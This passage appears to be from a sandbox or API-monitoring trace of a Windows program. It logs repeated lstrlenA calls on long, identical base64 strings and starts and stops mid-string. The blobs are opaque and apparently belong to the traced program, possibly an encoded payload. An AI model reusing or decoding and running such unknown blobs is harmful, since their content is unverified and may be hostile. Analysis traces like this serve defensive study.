wwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.812] lstrlenA (lpString="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") returned 5792 [0163.812] lstrlenA (lpString="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") returned 5792 [0163.812] lstrlenA (lpString="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